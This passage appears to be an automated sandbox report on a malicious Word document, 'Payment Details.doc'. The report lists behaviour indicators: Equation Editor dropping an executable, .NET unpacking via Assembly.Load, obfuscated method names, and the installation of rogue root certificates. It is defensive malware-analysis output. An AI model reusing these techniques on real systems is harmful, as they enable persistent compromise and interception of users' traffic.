Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\InProcServer32 Jump to behavior
Source: Payment Details.LNK.0.dr LNK file: ..\..\..\..\..\Desktop\Payment Details.doc
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: HgCppsoKmxQq[1].exe.2.dr, Form1.cs .Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: ncfplgpeter20306.exe.2.dr, Form1.cs .Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, E0RYX9X2eibsstJT2l.cs .Net Code: zqfO5R4lW8PGwS1pTgt System.Reflection.Assembly.Load(byte[])
Source: 5.2.ncfplgpeter20306.exe.216ee4c.5.raw.unpack, JK.cs .Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 5.2.ncfplgpeter20306.exe.220000.0.raw.unpack, JK.cs .Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 5.2.ncfplgpeter20306.exe.21b6cb8.4.raw.unpack, JK.cs .Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 5.2.ncfplgpeter20306.exe.2165834.2.raw.unpack, JK.cs .Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, E0RYX9X2eibsstJT2l.cs .Net Code: zqfO5R4lW8PGwS1pTgt System.Reflection.Assembly.Load(byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0029C361 pushad ; ret 2_2_0029C39D
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_00298F60 push eax; retf 2_2_00298F61
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_00295A7B pushad ; iretd 2_2_00295AF5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002A4BBE push eax; ret 2_2_002A4BBF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002901F4 push eax; retf 2_2_002901F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0028F6C9 push ds; retf 2_2_0028F6CC
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002A4BCE push eax; ret 2_2_002A4BCF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0029A5DD push esp; iretd 2_2_0029A5DE
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0029C2DC pushad ; retn 0029h 2_2_0029C2DD
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 5_2_001762A4 push esp; iretd 5_2_001762A9
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001C214D push ebx; iretd 9_2_001C21EA
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001C217D push ebx; iretd 9_2_001C21EA
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001C21AD push ebx; iretd 9_2_001C21EA
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001C21FD push ebx; iretd 9_2_001C21EA
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001CD410 push edi; retf 001Ch 9_2_001CD411
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_00719590 pushfd ; retn 006Fh 9_2_00719591
Source: HgCppsoKmxQq[1].exe.2.dr Static PE information: section name: .text entropy: 7.882388794743662
Source: ncfplgpeter20306.exe.2.dr Static PE information: section name: .text entropy: 7.882388794743662
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, Rsjwms4Wh8At7jltVf.cs High entropy of concatenated method names: 'saV14aRn5H', 'moE1P52r93', 'TKw1lioyLO', 'Tgp1pca6Bh', 'Cmy1we7IUo', 'Wgq1DupFs5', 'CaI1Mi57nK', 'Lbw1sLeqBx', 'idZ13c8NAv', 'O0T1mxeA09'
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, hnb1mywmKd17dlbrAS.cs High entropy of concatenated method names: 'Dispose', 'mR89ae4IBQ', 'SJdk0qMKGV', 'puBVVvKaKN', 'tps9oyNhKU', 'PRD9z8IgcF', 'ProcessDialogKey', 'E2dk8n82kY', 't9gk9jtrH3', 'mBmkkAPsqe'
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, LVNaJWsMIVA7LTLASE.cs High entropy of concatenated method names: 'zu7RHG1UCo', 'vEbR0GP5w9', 'Eo1RnLElCC', 'zSyRb4C8gr', 'L0DRqt1jRb', 'TXZRg6Ppie', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, D33N8oUtGVx7cDxPuT.cs High entropy of concatenated method names: 'Lp7JThJpMH', 'q8ZJr8Jvgu', 'xaoJqZNHsW', 'CwFJX9qL4U', 'BgjJ0sJB97', 'HlbJnZxrmw', 'UUJJbpHxl3', 'TmgJgfpCvS', 'OX8Jiv5yws', 'f4pJfSeAAh'
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, zQyvpDqyxKTxd6tm0NN.cs High entropy of concatenated method names: 'GR7x4eMqyc', 'Kq8xPbdu6R', 'J7BxlIIphe', 'GQ7xpT3Nxd', 'LmaxwG8D2Y', 'R9hxDqi7L0', 'Ax6xMaB0Zt', 'NxYxs9KyRH', 'MlHx3p2K2W', 'VG5xmLUKfn'
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, ksWtZCxKsl0TxRCTo8.cs High entropy of concatenated method names: 'GMr1LFkylo', 'hBS1ywuum5', 'ro41O5nLLW', 'VWvOoTrbwJ', 'x5aOzGVTLw', 'IAf18nrD6A', 'n5n19G5FS1', 'fBl1kLDsu7', 'j8A1QDxhFt', 'QhN1d7YRXe'
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, pLwTg0qqY9GrvEoZXIs.cs High entropy of concatenated method names: 'ToString', 'a145Q4j8pu', 'KEt5dvERQh', 'DdN5I8eM0e', 'f0E5LRPIbe', 'wT056EPSsu', 'gSU5yxunrt', 'Gsw5EYZYIa', 'f7knYFscmhRWVWPDeQu', 'mTw6y3s22lokcZlLY0g'
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, E0RYX9X2eibsstJT2l.cs High entropy of concatenated method names: 'MToQIXKWBI', 'I3SQLs48n8', 'uf5Q6q4VEy', 'KWqQy0BBF1', 'UBEQEkuB7E', 'mIqQOFIKAA', 'wXWQ1wxG4a', 'sO5QKUDr8X', 'UTHQ7jmngF', 'T7eQFOJ0LT'
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, lDlgAUP9SyyXYURNLR.cs High entropy of concatenated method names: 'EJi4pnojSnyAHRWqhYg', 'ErevP5orqMYelnaL321', 'kFEORtVAdX', 'Ku5Ox8stk6', 'OVRO5Ji6lb', 'CxNx8bo8umiUIrPhE6k', 'lIrvcSoddavqGvXHa7M'
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, sC7nprRRvT8OJFZjOZ.cs High entropy of concatenated method names: 'rIk91RDsii', 'EuM9KyEpgg', 'KVG9F5wdH3', 'bJN9UWuJYc', 'ATy9J00PbH', 'l2k9e5iRIA', 'vgjpq3mDGeNj5ln0ix', 'wBXtHAIWQFkdYio0Cv', 'BC899EETi8', 'CUS9QYaSid'
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, fSdvMKZMagrtwMm7Ri.cs High entropy of concatenated method names: 'lq2yprocYj', 'nEuyDyGS7y', 'IYryswC2ld', 'nvAy3Hoa8O', 'hRjyJPOISS', 'jDsyeSX940', 'o7iyCsHSMo', 'DnVyR9lYX6', 'DTQyx7NjxD', 'mKPy5h79Hy'
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, O9PymkJ3NMlC2399qj.cs High entropy of concatenated method names: 'JKQhsEQCnj', 'o1Ah3VGbtY', 'GAThHYAQtH', 'Enah09bSsm', 'XX6hbdHFie', 'lgehgYG4SG', 'TZAhf0svRZ', 'TJEhckoEtg', 'RcthTZ3osW', 'FO5hjXiRBb'
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, pBjySHqM5QnwRNWaSBd.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Q9V5qOaeUr', 'h9u5XNVCx7', 'ufn5G8oA96', 'hl95AuUrbM', 'hsu5SjNYox', 'xFD5N7vpyl', 'Skh5Ydgfbf'
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, xGB0Wf6bc0bOdc8jTI.cs High entropy of concatenated method names: 'kTtEwQ9SoG', 'kClEM2Olvv', 'OTJynuxQtD', 'jUNybontt7', 'lvTyg7lONl', 'Up9yi4TYcW', 'myLyfre4Cc', 'fSgycK60ak', 'kBRyWA5x19', 'hseyTKO9Er'
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, KdpVO0auC752URy1LH.cs High entropy of concatenated method names: 'ToString', 'Po7ejc2CtV', 'Li3e0yrEQ1', 'gqcenHUq3F', 'cTYebFVO9p', 'n2CegR7eyF', 'kTfeiJlr7P', 'jBIefowaER', 'jS7ecR3arw', 'iuMeWWiTPi'
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, AnptoFjC7pNu1LqbY6.cs High entropy of concatenated method names: 'CxkCFyqNu8', 'tj9CULHR6k', 'ToString', 'jC5CL1HVrm', 'MYdC69JfMJ', 'f0gCy1rBOY', 'pTuCEljQqC', 'NKNCOjgG2b', 'YOeC1GsAfv', 'GMgCKDLHCP'
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, qyT5B9fG4eENyHVdsw.cs High entropy of concatenated method names: 'GDqlxlYY4', 'hF5peEa0M', 'o9TDoN5Sa', 'wU4MruruE', 'K6k3fAj0h', 'DvImOJLqB', 'zPRJ50FG9eMejJkPmf', 'xSdN05GCNU8MZjBOu4', 'LtVR8YQni', 'nNH5UoFYi'
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, ojeKecA3ycAgUvCgAn.cs High entropy of concatenated method names: 'BIix9SCJrv', 'PtdxQIBCLk', 'IYPxdRPe6o', 'J5cxL9cHMs', 'CZAx6rxAZF', 'DFAxEvYZXS', 'VmAxOPV1Wm', 'AjdRYjjrNi', 'K6VRuXW5nW', 'EtMRayGmQ3'
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, kIOpWCowqWShKUKAee.cs High entropy of concatenated method names: 'fE5OI5NlLu', 'JfaO6bhCVu', 'PbdOEEUXYB', 'HStO1rReIi', 'FpJOKcMl0A', 'Ae8ESKhqgT', 'xT8ENk6Jhd', 'ISGEY5g6xW', 'Gq6EuAu9tU', 'O17EaNTZyA'
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, KSQ07YHqchvMXla9N1.cs High entropy of concatenated method names: 'KKiRLLy6UN', 'HyrR6tuCpv', 'I8FRyKkQtY', 'FLLREStOBv', 'y0gROgqMIT', 'fE7R1G5hdk', 'gYnRKgLSgW', 'eixR7pHk04', 'g1yRFMTaBb', 'qkbRU4rFDr'
Source: 5.2.ncfplgpeter20306.exe.33e7450.7.raw.unpack, Uel8r1lQF2PkteGZrv.cs High entropy of concatenated method names: 'ltB6qcLvY0', 'brs6XHEJGa', 'WxM6GUBM0C', 'vP96AccmpA', 'YcG6SWCc1l', 'ePZ6NA8XmP', 'GaS6YUKp4S', 'ygy6uRCKrX', 'miQ6aI944q', 's4k6o6UxDd'
Source: 5.2.ncfplgpeter20306.exe.216ee4c.5.raw.unpack, JK.cs High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'
Source: 5.2.ncfplgpeter20306.exe.220000.0.raw.unpack, JK.cs High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'
Source: 5.2.ncfplgpeter20306.exe.21b6cb8.4.raw.unpack, JK.cs High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'
Source: 5.2.ncfplgpeter20306.exe.2165834.2.raw.unpack, JK.cs High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, Rsjwms4Wh8At7jltVf.cs High entropy of concatenated method names: 'saV14aRn5H', 'moE1P52r93', 'TKw1lioyLO', 'Tgp1pca6Bh', 'Cmy1we7IUo', 'Wgq1DupFs5', 'CaI1Mi57nK', 'Lbw1sLeqBx', 'idZ13c8NAv', 'O0T1mxeA09'
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, hnb1mywmKd17dlbrAS.cs High entropy of concatenated method names: 'Dispose', 'mR89ae4IBQ', 'SJdk0qMKGV', 'puBVVvKaKN', 'tps9oyNhKU', 'PRD9z8IgcF', 'ProcessDialogKey', 'E2dk8n82kY', 't9gk9jtrH3', 'mBmkkAPsqe'
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, LVNaJWsMIVA7LTLASE.cs High entropy of concatenated method names: 'zu7RHG1UCo', 'vEbR0GP5w9', 'Eo1RnLElCC', 'zSyRb4C8gr', 'L0DRqt1jRb', 'TXZRg6Ppie', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, D33N8oUtGVx7cDxPuT.cs High entropy of concatenated method names: 'Lp7JThJpMH', 'q8ZJr8Jvgu', 'xaoJqZNHsW', 'CwFJX9qL4U', 'BgjJ0sJB97', 'HlbJnZxrmw', 'UUJJbpHxl3', 'TmgJgfpCvS', 'OX8Jiv5yws', 'f4pJfSeAAh'
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, zQyvpDqyxKTxd6tm0NN.cs High entropy of concatenated method names: 'GR7x4eMqyc', 'Kq8xPbdu6R', 'J7BxlIIphe', 'GQ7xpT3Nxd', 'LmaxwG8D2Y', 'R9hxDqi7L0', 'Ax6xMaB0Zt', 'NxYxs9KyRH', 'MlHx3p2K2W', 'VG5xmLUKfn'
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, ksWtZCxKsl0TxRCTo8.cs High entropy of concatenated method names: 'GMr1LFkylo', 'hBS1ywuum5', 'ro41O5nLLW', 'VWvOoTrbwJ', 'x5aOzGVTLw', 'IAf18nrD6A', 'n5n19G5FS1', 'fBl1kLDsu7', 'j8A1QDxhFt', 'QhN1d7YRXe'
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, pLwTg0qqY9GrvEoZXIs.cs High entropy of concatenated method names: 'ToString', 'a145Q4j8pu', 'KEt5dvERQh', 'DdN5I8eM0e', 'f0E5LRPIbe', 'wT056EPSsu', 'gSU5yxunrt', 'Gsw5EYZYIa', 'f7knYFscmhRWVWPDeQu', 'mTw6y3s22lokcZlLY0g'
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, E0RYX9X2eibsstJT2l.cs High entropy of concatenated method names: 'MToQIXKWBI', 'I3SQLs48n8', 'uf5Q6q4VEy', 'KWqQy0BBF1', 'UBEQEkuB7E', 'mIqQOFIKAA', 'wXWQ1wxG4a', 'sO5QKUDr8X', 'UTHQ7jmngF', 'T7eQFOJ0LT'
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, lDlgAUP9SyyXYURNLR.cs High entropy of concatenated method names: 'EJi4pnojSnyAHRWqhYg', 'ErevP5orqMYelnaL321', 'kFEORtVAdX', 'Ku5Ox8stk6', 'OVRO5Ji6lb', 'CxNx8bo8umiUIrPhE6k', 'lIrvcSoddavqGvXHa7M'
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, sC7nprRRvT8OJFZjOZ.cs High entropy of concatenated method names: 'rIk91RDsii', 'EuM9KyEpgg', 'KVG9F5wdH3', 'bJN9UWuJYc', 'ATy9J00PbH', 'l2k9e5iRIA', 'vgjpq3mDGeNj5ln0ix', 'wBXtHAIWQFkdYio0Cv', 'BC899EETi8', 'CUS9QYaSid'
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, fSdvMKZMagrtwMm7Ri.cs High entropy of concatenated method names: 'lq2yprocYj', 'nEuyDyGS7y', 'IYryswC2ld', 'nvAy3Hoa8O', 'hRjyJPOISS', 'jDsyeSX940', 'o7iyCsHSMo', 'DnVyR9lYX6', 'DTQyx7NjxD', 'mKPy5h79Hy'
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, O9PymkJ3NMlC2399qj.cs High entropy of concatenated method names: 'JKQhsEQCnj', 'o1Ah3VGbtY', 'GAThHYAQtH', 'Enah09bSsm', 'XX6hbdHFie', 'lgehgYG4SG', 'TZAhf0svRZ', 'TJEhckoEtg', 'RcthTZ3osW', 'FO5hjXiRBb'
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, pBjySHqM5QnwRNWaSBd.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Q9V5qOaeUr', 'h9u5XNVCx7', 'ufn5G8oA96', 'hl95AuUrbM', 'hsu5SjNYox', 'xFD5N7vpyl', 'Skh5Ydgfbf'
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, xGB0Wf6bc0bOdc8jTI.cs High entropy of concatenated method names: 'kTtEwQ9SoG', 'kClEM2Olvv', 'OTJynuxQtD', 'jUNybontt7', 'lvTyg7lONl', 'Up9yi4TYcW', 'myLyfre4Cc', 'fSgycK60ak', 'kBRyWA5x19', 'hseyTKO9Er'
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, KdpVO0auC752URy1LH.cs High entropy of concatenated method names: 'ToString', 'Po7ejc2CtV', 'Li3e0yrEQ1', 'gqcenHUq3F', 'cTYebFVO9p', 'n2CegR7eyF', 'kTfeiJlr7P', 'jBIefowaER', 'jS7ecR3arw', 'iuMeWWiTPi'
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, AnptoFjC7pNu1LqbY6.cs High entropy of concatenated method names: 'CxkCFyqNu8', 'tj9CULHR6k', 'ToString', 'jC5CL1HVrm', 'MYdC69JfMJ', 'f0gCy1rBOY', 'pTuCEljQqC', 'NKNCOjgG2b', 'YOeC1GsAfv', 'GMgCKDLHCP'
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, qyT5B9fG4eENyHVdsw.cs High entropy of concatenated method names: 'GDqlxlYY4', 'hF5peEa0M', 'o9TDoN5Sa', 'wU4MruruE', 'K6k3fAj0h', 'DvImOJLqB', 'zPRJ50FG9eMejJkPmf', 'xSdN05GCNU8MZjBOu4', 'LtVR8YQni', 'nNH5UoFYi'
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, ojeKecA3ycAgUvCgAn.cs High entropy of concatenated method names: 'BIix9SCJrv', 'PtdxQIBCLk', 'IYPxdRPe6o', 'J5cxL9cHMs', 'CZAx6rxAZF', 'DFAxEvYZXS', 'VmAxOPV1Wm', 'AjdRYjjrNi', 'K6VRuXW5nW', 'EtMRayGmQ3'
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, kIOpWCowqWShKUKAee.cs High entropy of concatenated method names: 'fE5OI5NlLu', 'JfaO6bhCVu', 'PbdOEEUXYB', 'HStO1rReIi', 'FpJOKcMl0A', 'Ae8ESKhqgT', 'xT8ENk6Jhd', 'ISGEY5g6xW', 'Gq6EuAu9tU', 'O17EaNTZyA'
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, KSQ07YHqchvMXla9N1.cs High entropy of concatenated method names: 'KKiRLLy6UN', 'HyrR6tuCpv', 'I8FRyKkQtY', 'FLLREStOBv', 'y0gROgqMIT', 'fE7R1G5hdk', 'gYnRKgLSgW', 'eixR7pHk04', 'g1yRFMTaBb', 'qkbRU4rFDr'
Source: 5.2.ncfplgpeter20306.exe.5340000.9.raw.unpack, Uel8r1lQF2PkteGZrv.cs High entropy of concatenated method names: 'ltB6qcLvY0', 'brs6XHEJGa', 'WxM6GUBM0C', 'vP96AccmpA', 'YcG6SWCc1l', 'ePZ6NA8XmP', 'GaS6YUKp4S', 'ygy6uRCKrX', 'miQ6aI944q', 's4k6o6UxDd'

Persistence and Installation Behavior
barindex
Installs new ROOT certificates
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\HgCppsoKmxQq[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Jump to dropped file
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT Jump to behavior
Stores large binary data to the registry
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
